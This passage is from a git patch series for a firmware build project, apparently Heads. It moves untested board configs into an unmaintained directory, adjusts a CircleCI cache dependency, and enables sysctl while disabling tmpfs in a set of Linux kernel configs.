UNMAINTAINED in their names are not compliant with current build system (linuxboot) and need reupstreaming. + +To test those boards, move them to boards directory and follow normal build operations, test builds on boards and open an issue stating you are willing to test those when builds are made available from CircleCI in the future. diff --git a/boards/UNTESTED_kgpe-d16_server-whiptail/UNTESTED_kgpe-d16_server-whiptail.config b/unmaintained_boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config similarity index 100% rename from boards/UNTESTED_kgpe-d16_server-whiptail/UNTESTED_kgpe-d16_server-whiptail.config rename to unmaintained_boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config diff --git a/boards/UNTESTED_kgpe-d16_server/UNTESTED_kgpe-d16_server.config b/unmaintained_boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config similarity index 100% rename from boards/UNTESTED_kgpe-d16_server/UNTESTED_kgpe-d16_server.config rename to unmaintained_boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config diff --git a/boards/UNTESTED_kgpe-d16_workstation-usb_keyboard/UNTESTED_kgpe-d16_workstation-usb_keyboard.config b/unmaintained_boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config similarity index 100% rename from boards/UNTESTED_kgpe-d16_workstation-usb_keyboard/UNTESTED_kgpe-d16_workstation-usb_keyboard.config rename to unmaintained_boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config diff --git a/boards/UNTESTED_kgpe-d16_workstation/UNTESTED_kgpe-d16_workstation.config b/unmaintained_boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config similarity index 100% rename from boards/UNTESTED_kgpe-d16_workstation/UNTESTED_kgpe-d16_workstation.config rename to unmaintained_boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config diff --git a/boards/UNTESTED_p8z77-m_pro-tpm1-hotp-maximized/UNTESTED_p8z77-m_pro-tpm1-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-hotp-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-hotp-maximized.config similarity index 100% rename from boards/UNTESTED_p8z77-m_pro-tpm1-hotp-maximized/UNTESTED_p8z77-m_pro-tpm1-hotp-maximized.config rename to unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-hotp-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-hotp-maximized.config diff --git a/boards/UNTESTED_p8z77-m_pro-tpm1-maximized/UNTESTED_p8z77-m_pro-tpm1-maximized.config b/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config similarity index 100% rename from boards/UNTESTED_p8z77-m_pro-tpm1-maximized/UNTESTED_p8z77-m_pro-tpm1-maximized.config rename to unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config diff --git a/boards/UNTESTED_qemu-linuxboot/UNTESTED_qemu-linuxboot.config b/unmaintained_boards/UNMAINTAINED_qemu-linuxboot/UNMAINTAINED_qemu-linuxboot.config similarity index 100% rename from boards/UNTESTED_qemu-linuxboot/UNTESTED_qemu-linuxboot.config rename to unmaintained_boards/UNMAINTAINED_qemu-linuxboot/UNMAINTAINED_qemu-linuxboot.config diff --git a/boards/UNTESTED_t420/UNTESTED_t420.config b/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config similarity index 100% rename from boards/UNTESTED_t420/UNTESTED_t420.config rename to unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config diff --git a/boards/UNTESTED_t430-hotp-legacy/UNTESTED_t430-hotp-legacy.config b/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config similarity index 100% rename from boards/UNTESTED_t430-hotp-legacy/UNTESTED_t430-hotp-legacy.config rename to unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config diff --git a/boards/UNTESTED_t430-legacy-flash/UNTESTED_t430-legacy-flash.config b/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config similarity index 100% rename from boards/UNTESTED_t430-legacy-flash/UNTESTED_t430-legacy-flash.config rename to unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config diff --git a/boards/UNTESTED_t430-legacy/UNTESTED_t430-legacy.config b/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config similarity index 100% rename from boards/UNTESTED_t430-legacy/UNTESTED_t430-legacy.config rename to unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config diff --git a/boards/UNTESTED_t520-hotp-maximized/UNTESTED_t520-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config similarity index 100% rename from boards/UNTESTED_t520-hotp-maximized/UNTESTED_t520-hotp-maximized.config rename to unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config diff --git a/boards/UNTESTED_t520-maximized/UNTESTED_t520-maximized.config b/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config similarity index 100% rename from boards/UNTESTED_t520-maximized/UNTESTED_t520-maximized.config rename to unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config diff --git a/boards/UNTESTED_t530-dgpu-hotp-maximized/UNTESTED_t530-dgpu-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config similarity index 100% rename from boards/UNTESTED_t530-dgpu-hotp-maximized/UNTESTED_t530-dgpu-hotp-maximized.config rename to unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config diff --git a/boards/UNTESTED_t530-dgpu-maximized/UNTESTED_t530-dgpu-maximized.config b/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config similarity index 100% rename from boards/UNTESTED_t530-dgpu-maximized/UNTESTED_t530-dgpu-maximized.config rename to unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config diff --git a/boards/UNTESTED_t530-hotp-maximized/UNTESTED_t530-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_t530-hotp-maximized/UNMAINTAINED_t530-hotp-maximized.config similarity index 100% rename from boards/UNTESTED_t530-hotp-maximized/UNTESTED_t530-hotp-maximized.config rename to unmaintained_boards/UNMAINTAINED_t530-hotp-maximized/UNMAINTAINED_t530-hotp-maximized.config diff --git a/boards/UNTESTED_t530-maximized/UNTESTED_t530-maximized.config b/unmaintained_boards/UNMAINTAINED_t530-maximized/UNMAINTAINED_t530-maximized.config similarity index 100% rename from boards/UNTESTED_t530-maximized/UNTESTED_t530-maximized.config rename to unmaintained_boards/UNMAINTAINED_t530-maximized/UNMAINTAINED_t530-maximized.config diff --git a/boards/UNTESTED_w530-dgpu-K1000m-hotp-maximized/UNTESTED_w530-dgpu-K1000m-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config similarity index 100% rename from boards/UNTESTED_w530-dgpu-K1000m-hotp-maximized/UNTESTED_w530-dgpu-K1000m-hotp-maximized.config rename to unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config diff --git a/boards/UNTESTED_w530-dgpu-K1000m-maximized/UNTESTED_w530-dgpu-K1000m-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config similarity index 100% rename from boards/UNTESTED_w530-dgpu-K1000m-maximized/UNTESTED_w530-dgpu-K1000m-maximized.config rename to unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config diff --git a/boards/UNTESTED_w530-dgpu-K2000m-hotp-maximized/UNTESTED_w530-dgpu-K2000m-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config similarity index 100% rename from boards/UNTESTED_w530-dgpu-K2000m-hotp-maximized/UNTESTED_w530-dgpu-K2000m-hotp-maximized.config rename to unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config diff --git a/boards/UNTESTED_w530-dgpu-K2000m-maximized/UNTESTED_w530-dgpu-K2000m-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config similarity index 100% rename from boards/UNTESTED_w530-dgpu-K2000m-maximized/UNTESTED_w530-dgpu-K2000m-maximized.config rename to unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config diff --git a/boards/UNTESTED_x220/UNTESTED_x220.config b/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config similarity index 100% rename from boards/UNTESTED_x220/UNTESTED_x220.config rename to unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config diff --git a/boards/UNTESTED_leopard/UNTESTED_leopard.config b/unmaintained_boards/UNTESTED_leopard/UNTESTED_leopard.config similarity index 100% rename from boards/UNTESTED_leopard/UNTESTED_leopard.config rename to unmaintained_boards/UNTESTED_leopard/UNTESTED_leopard.config diff --git a/boards/UNTESTED_r630/UNTESTED_r630.config b/unmaintained_boards/UNTESTED_r630/UNTESTED_r630.config similarity index 100% rename from boards/UNTESTED_r630/UNTESTED_r630.config rename to unmaintained_boards/UNTESTED_r630/UNTESTED_r630.config diff --git a/boards/UNTESTED_s2600wf/UNTESTED_s2600wf.config b/unmaintained_boards/UNTESTED_s2600wf/UNTESTED_s2600wf.config similarity index 100% rename from boards/UNTESTED_s2600wf/UNTESTED_s2600wf.config rename to unmaintained_boards/UNTESTED_s2600wf/UNTESTED_s2600wf.config diff --git a/boards/UNTESTED_tioga/UNTESTED_tioga.config b/unmaintained_boards/UNTESTED_tioga/UNTESTED_tioga.config similarity index 100% rename from boards/UNTESTED_tioga/UNTESTED_tioga.config rename to unmaintained_boards/UNTESTED_tioga/UNTESTED_tioga.config diff --git a/boards/UNTESTED_winterfell/UNTESTED_winterfell.config b/unmaintained_boards/UNTESTED_winterfell/UNTESTED_winterfell.config similarity index 100% rename from boards/UNTESTED_winterfell/UNTESTED_winterfell.config rename to unmaintained_boards/UNTESTED_winterfell/UNTESTED_winterfell.config diff --git a/boards/UNTESTED_winterfell/uinit.go b/unmaintained_boards/UNTESTED_winterfell/uinit.go similarity index 100% rename from boards/UNTESTED_winterfell/uinit.go rename to unmaintained_boards/UNTESTED_winterfell/uinit.go From 7fe2f9dcb2ba6a57f4794ee1a3a010a7f8a39bd6 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 25 Mar 2024 16:40:21 -0400 Subject: [PATCH 030/619] CircleCI: save_cache depends on librem_14 instead of nitropad-nv41 (so more boards can be built reusing cache and where nv41 will be rebuilt if coreboot level cache was not saved) Signed-off-by: Thierry Laurion --- .circleci/config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 1d4fda00b..d0bff5776 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -257,7 +257,7 @@ workflows: - save_cache: requires: - talos-2 - - nitropad-nv41 + - librem_14 # # Those onboarding new boards should add their entries below. From a051483c79229a1cbb64f6b0ba8c058d60c18aab Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 1 Apr 2024 14:43:16 -0400 Subject: [PATCH 031/619] linux configs: align with purism; remove TMPFS, add sysctl requirements Signed-off-by: Thierry Laurion --- config/linux-c216.config | 10 +++------- config/linux-kgpe-d16_server-whiptail.config | 10 ++++------ config/linux-kgpe-d16_server.config | 10 ++++------ config/linux-kgpe-d16_workstation.config | 10 ++++------ config/linux-librem_common-6.1.8.config | 3 ++- config/linux-librem_common.config | 3 ++- config/linux-linuxboot.config | 4 ++-- config/linux-nitropad-x.config | 17 +++++++---------- config/linux-qemu.config | 11 ++++------- config/linux-t440p.config | 10 +++------- config/linux-talos-2.config | 7 +------ config/linux-w541.config | 10 +++------- config/linux-x230-flash.config | 7 +------ config/linux-x230-legacy.config | 7 +------ config/linux-x230-maximized.config | 10 +++------- 15 files changed, 44 insertions(+), 85 deletions(-) diff --git a/config/linux-c216.config b/config/linux-c216.config index 252a7a65f..dbd963eac 100644 --- a/config/linux-c216.config +++ b/config/linux-c216.config @@ -157,6 +157,7 @@ CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y +CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y CONFIG_BPF=y @@ -2238,7 +2239,6 @@ CONFIG_RTC_DRV_CMOS=y # DMABUF options # CONFIG_SYNC_FILE=y -# CONFIG_UDMABUF is not set # CONFIG_DMABUF_MOVE_NOTIFY is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set @@ -2503,18 +2503,14 @@ CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_PROC_FS=y # CONFIG_PROC_KCORE is not set -# CONFIG_PROC_SYSCTL is not set +CONFIG_PROC_SYSCTL=y # CONFIG_PROC_PAGE_MONITOR is not set # CONFIG_PROC_CHILDREN is not set CONFIG_PROC_PID_ARCH_STATUS=y CONFIG_KERNFS=y CONFIG_SYSFS=y -CONFIG_TMPFS=y -# CONFIG_TMPFS_POSIX_ACL is not set -# CONFIG_TMPFS_XATTR is not set -# CONFIG_TMPFS_INODE64 is not set +# CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set -CONFIG_MEMFD_CREATE=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set CONFIG_EFIVAR_FS=m diff --git a/config/linux-kgpe-d16_server-whiptail.config b/config/linux-kgpe-d16_server-whiptail.config index 99e9b2716..18a7a2c0c 100644 --- a/config/linux-kgpe-d16_server-whiptail.config +++ b/config/linux-kgpe-d16_server-whiptail.config @@ -160,6 +160,7 @@ CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y +CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y CONFIG_BPF=y @@ -2545,18 +2546,14 @@ CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_PROC_FS=y # CONFIG_PROC_KCORE is not set -# CONFIG_PROC_SYSCTL is not set +CONFIG_PROC_SYSCTL=y # CONFIG_PROC_PAGE_MONITOR is not set # CONFIG_PROC_CHILDREN is not set CONFIG_PROC_PID_ARCH_STATUS=y CONFIG_KERNFS=y CONFIG_SYSFS=y -CONFIG_TMPFS=y -# CONFIG_TMPFS_POSIX_ACL is not set -# CONFIG_TMPFS_XATTR is not set -# CONFIG_TMPFS_INODE64 is not set +# CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set -CONFIG_MEMFD_CREATE=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set # end of Pseudo filesystems @@ -3185,6 +3182,7 @@ CONFIG_RUNTIME_TESTING_MENU=y # CONFIG_TEST_BLACKHOLE_DEV is not set # CONFIG_FIND_BIT_BENCHMARK is not set # CONFIG_TEST_FIRMWARE is not set +# CONFIG_TEST_SYSCTL is not set # CONFIG_TEST_UDELAY is not set # CONFIG_TEST_STATIC_KEYS is not set # CONFIG_TEST_KMOD is not set diff --git a/config/linux-kgpe-d16_server.config b/config/linux-kgpe-d16_server.config index 99e9b2716..18a7a2c0c 100644 --- a/config/linux-kgpe-d16_server.config +++ b/config/linux-kgpe-d16_server.config @@ -160,6 +160,7 @@ CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y +CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y CONFIG_BPF=y @@ -2545,18 +2546,14 @@ CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_PROC_FS=y # CONFIG_PROC_KCORE is not set -# CONFIG_PROC_SYSCTL is not set +CONFIG_PROC_SYSCTL=y # CONFIG_PROC_PAGE_MONITOR is not set # CONFIG_PROC_CHILDREN is not set CONFIG_PROC_PID_ARCH_STATUS=y CONFIG_KERNFS=y CONFIG_SYSFS=y -CONFIG_TMPFS=y -# CONFIG_TMPFS_POSIX_ACL is not set -# CONFIG_TMPFS_XATTR is not set -# CONFIG_TMPFS_INODE64 is not set +# CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set -CONFIG_MEMFD_CREATE=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set # end of Pseudo filesystems @@ -3185,6 +3182,7 @@ CONFIG_RUNTIME_TESTING_MENU=y # CONFIG_TEST_BLACKHOLE_DEV is not set # CONFIG_FIND_BIT_BENCHMARK is not set # CONFIG_TEST_FIRMWARE is not set +# CONFIG_TEST_SYSCTL is not set # CONFIG_TEST_UDELAY is not set # CONFIG_TEST_STATIC_KEYS is not set # CONFIG_TEST_KMOD is not set diff --git a/config/linux-kgpe-d16_workstation.config b/config/linux-kgpe-d16_workstation.config index 3d6a8c4f9..40edf7261 100644 --- a/config/linux-kgpe-d16_workstation.config +++ b/config/linux-kgpe-d16_workstation.config @@ -160,6 +160,7 @@ CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y +CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y CONFIG_BPF=y @@ -2793,18 +2794,14 @@ CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_PROC_FS=y # CONFIG_PROC_KCORE is not set -# CONFIG_PROC_SYSCTL is not set +CONFIG_PROC_SYSCTL=y # CONFIG_PROC_PAGE_MONITOR is not set # CONFIG_PROC_CHILDREN is not set CONFIG_PROC_PID_ARCH_STATUS=y CONFIG_KERNFS=y CONFIG_SYSFS=y -CONFIG_TMPFS=y -# CONFIG_TMPFS_POSIX_ACL is not set -# CONFIG_TMPFS_XATTR is not set -# CONFIG_TMPFS_INODE64 is not set +# CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set -CONFIG_MEMFD_CREATE=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set # end of Pseudo filesystems @@ -3433,6 +3430,7 @@ CONFIG_RUNTIME_TESTING_MENU=y # CONFIG_TEST_BLACKHOLE_DEV is not set # CONFIG_FIND_BIT_BENCHMARK is not set # CONFIG_TEST_FIRMWARE is not set +# CONFIG_TEST_SYSCTL is not set # CONFIG_TEST_UDELAY is not set # CONFIG_TEST_STATIC_KEYS is not set # CONFIG_TEST_KMOD is not set diff --git a/config/linux-librem_common-6.1.8.config b/config/linux-librem_common-6.1.8.config index 9e4752357..70590d5b1 100644 --- a/config/linux-librem_common-6.1.8.config +++ b/config/linux-librem_common-6.1.8.config @@ -182,6 +182,7 @@ CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y +CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y CONFIG_EXPERT=y @@ -2475,7 +2476,7 @@ CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_PROC_FS=y # CONFIG_PROC_KCORE is not set -# CONFIG_PROC_SYSCTL is not set +CONFIG_PROC_SYSCTL=y # CONFIG_PROC_PAGE_MONITOR is not set # CONFIG_PROC_CHILDREN is not set CONFIG_PROC_PID_ARCH_STATUS=y diff --git a/config/linux-librem_common.config b/config/linux-librem_common.config index a3edda0f4..e65f907d1 100644 --- a/config/linux-librem_common.config +++ b/config/linux-librem_common.config @@ -157,6 +157,7 @@ CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y +CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y CONFIG_BPF=y @@ -2598,7 +2599,7 @@ CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_PROC_FS=y # CONFIG_PROC_KCORE is not set -# CONFIG_PROC_SYSCTL is not set +CONFIG_PROC_SYSCTL=y # CONFIG_PROC_PAGE_MONITOR is not set # CONFIG_PROC_CHILDREN is not set CONFIG_PROC_PID_ARCH_STATUS=y diff --git a/config/linux-linuxboot.config b/config/linux-linuxboot.config index 0ff8541bb..25b9963a0 100644 --- a/config/linux-linuxboot.config +++ b/config/linux-linuxboot.config @@ -264,9 +264,9 @@ CONFIG_ISO9660_FS=y CONFIG_JOLIET=y CONFIG_MSDOS_FS=y CONFIG_VFAT_FS=y -# CONFIG_PROC_SYSCTL is not set +CONFIG_PROC_SYSCTL=y # CONFIG_PROC_PAGE_MONITOR is not set -CONFIG_TMPFS=y +CONFIG_TMPFS=n CONFIG_HUGETLBFS=y CONFIG_EFIVAR_FS=y # CONFIG_MISC_FILESYSTEMS is not set diff --git a/config/linux-nitropad-x.config b/config/linux-nitropad-x.config index 8592d579d..40b35f73c 100644 --- a/config/linux-nitropad-x.config +++ b/config/linux-nitropad-x.config @@ -166,7 +166,7 @@ CONFIG_ARCH_SUPPORTS_INT128=y # CONFIG_CHECKPOINT_RESTORE is not set # CONFIG_SCHED_AUTOGROUP is not set # CONFIG_SYSFS_DEPRECATED is not set -CONFIG_RELAY=y +# CONFIG_RELAY is not set CONFIG_BLK_DEV_INITRD=y CONFIG_INITRAMFS_SOURCE="@BLOB_DIR@/dev.cpio" CONFIG_INITRAMFS_ROOT_UID=0 @@ -181,10 +181,11 @@ CONFIG_RD_XZ=y CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_INITRAMFS_COMPRESSION_NONE is not set # CONFIG_BOOT_CONFIG is not set -CONFIG_INITRAMFS_PRESERVE_MTIME=y +# CONFIG_INITRAMFS_PRESERVE_MTIME is not set # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y +CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y CONFIG_EXPERT=y @@ -2334,7 +2335,6 @@ CONFIG_RTC_DRV_CMOS=y # DMABUF options # CONFIG_SYNC_FILE=y -# CONFIG_UDMABUF is not set # CONFIG_DMABUF_MOVE_NOTIFY is not set # CONFIG_DMABUF_DEBUG is not set # CONFIG_DMABUF_SELFTESTS is not set @@ -2658,22 +2658,18 @@ CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_PROC_FS=y # CONFIG_PROC_KCORE is not set -# CONFIG_PROC_SYSCTL is not set +CONFIG_PROC_SYSCTL=y # CONFIG_PROC_PAGE_MONITOR is not set # CONFIG_PROC_CHILDREN is not set CONFIG_PROC_PID_ARCH_STATUS=y CONFIG_KERNFS=y CONFIG_SYSFS=y -CONFIG_TMPFS=y -# CONFIG_TMPFS_POSIX_ACL is not set -# CONFIG_TMPFS_XATTR is not set -# CONFIG_TMPFS_INODE64 is not set +# CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y -CONFIG_MEMFD_CREATE=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set -CONFIG_EFIVAR_FS=m +# CONFIG_EFIVAR_FS is not set # end of Pseudo filesystems # CONFIG_MISC_FILESYSTEMS is not set @@ -3375,6 +3371,7 @@ CONFIG_RUNTIME_TESTING_MENU=y # CONFIG_TEST_BLACKHOLE_DEV is not set # CONFIG_FIND_BIT_BENCHMARK is not set # CONFIG_TEST_FIRMWARE is not set +# CONFIG_TEST_SYSCTL is not set # CONFIG_TEST_UDELAY is not set # CONFIG_TEST_STATIC_KEYS is not set # CONFIG_TEST_KMOD is not set diff --git a/config/linux-qemu.config b/config/linux-qemu.config index a5145bb0c..113e0ae0a 100644 --- a/config/linux-qemu.config +++ b/config/linux-qemu.config @@ -177,6 +177,7 @@ CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y +CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y CONFIG_BPF=y @@ -2270,7 +2271,6 @@ CONFIG_RTC_DRV_CMOS=y # CONFIG_SYNC_FILE=y # CONFIG_SW_SYNC is not set -# CONFIG_UDMABUF is not set # CONFIG_DMABUF_MOVE_NOTIFY is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set @@ -2559,18 +2559,14 @@ CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_PROC_FS=y # CONFIG_PROC_KCORE is not set -# CONFIG_PROC_SYSCTL is not set +CONFIG_PROC_SYSCTL=y # CONFIG_PROC_PAGE_MONITOR is not set # CONFIG_PROC_CHILDREN is not set CONFIG_PROC_PID_ARCH_STATUS=y CONFIG_KERNFS=y CONFIG_SYSFS=y -CONFIG_TMPFS=y -# CONFIG_TMPFS_POSIX_ACL is not set -# CONFIG_TMPFS_XATTR is not set -# CONFIG_TMPFS_INODE64 is not set +# CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set -CONFIG_MEMFD_CREATE=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y CONFIG_CONFIGFS_FS=y CONFIG_EFIVAR_FS=m @@ -3201,6 +3197,7 @@ CONFIG_RUNTIME_TESTING_MENU=y # CONFIG_TEST_BLACKHOLE_DEV is not set # CONFIG_FIND_BIT_BENCHMARK is not set # CONFIG_TEST_FIRMWARE is not set +# CONFIG_TEST_SYSCTL is not set # CONFIG_TEST_UDELAY is not set # CONFIG_TEST_STATIC_KEYS is not set # CONFIG_TEST_KMOD is not set diff --git a/config/linux-t440p.config b/config/linux-t440p.config index 7e520b220..2ba0a56af 100644 --- a/config/linux-t440p.config +++ b/config/linux-t440p.config @@ -157,6 +157,7 @@ CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y +CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y CONFIG_BPF=y @@ -2252,7 +2253,6 @@ CONFIG_RTC_DRV_CMOS=y # DMABUF options # CONFIG_SYNC_FILE=y -# CONFIG_UDMABUF is not set # CONFIG_DMABUF_MOVE_NOTIFY is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set @@ -2517,18 +2517,14 @@ CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_PROC_FS=y # CONFIG_PROC_KCORE is not set -# CONFIG_PROC_SYSCTL is not set +CONFIG_PROC_SYSCTL=y # CONFIG_PROC_PAGE_MONITOR is not set # CONFIG_PROC_CHILDREN is not set CONFIG_PROC_PID_ARCH_STATUS=y CONFIG_KERNFS=y CONFIG_SYSFS=y -CONFIG_TMPFS=y -# CONFIG_TMPFS_POSIX_ACL is not set -# CONFIG_TMPFS_XATTR is not set -# CONFIG_TMPFS_INODE64 is not set +# CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set -CONFIG_MEMFD_CREATE=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set CONFIG_EFIVAR_FS=m diff --git a/config/linux-talos-2.config b/config/linux-talos-2.config index 735ac9339..0aa3ac5b1 100644 --- a/config/linux-talos-2.config +++ b/config/linux-talos-2.config @@ -2438,7 +2438,6 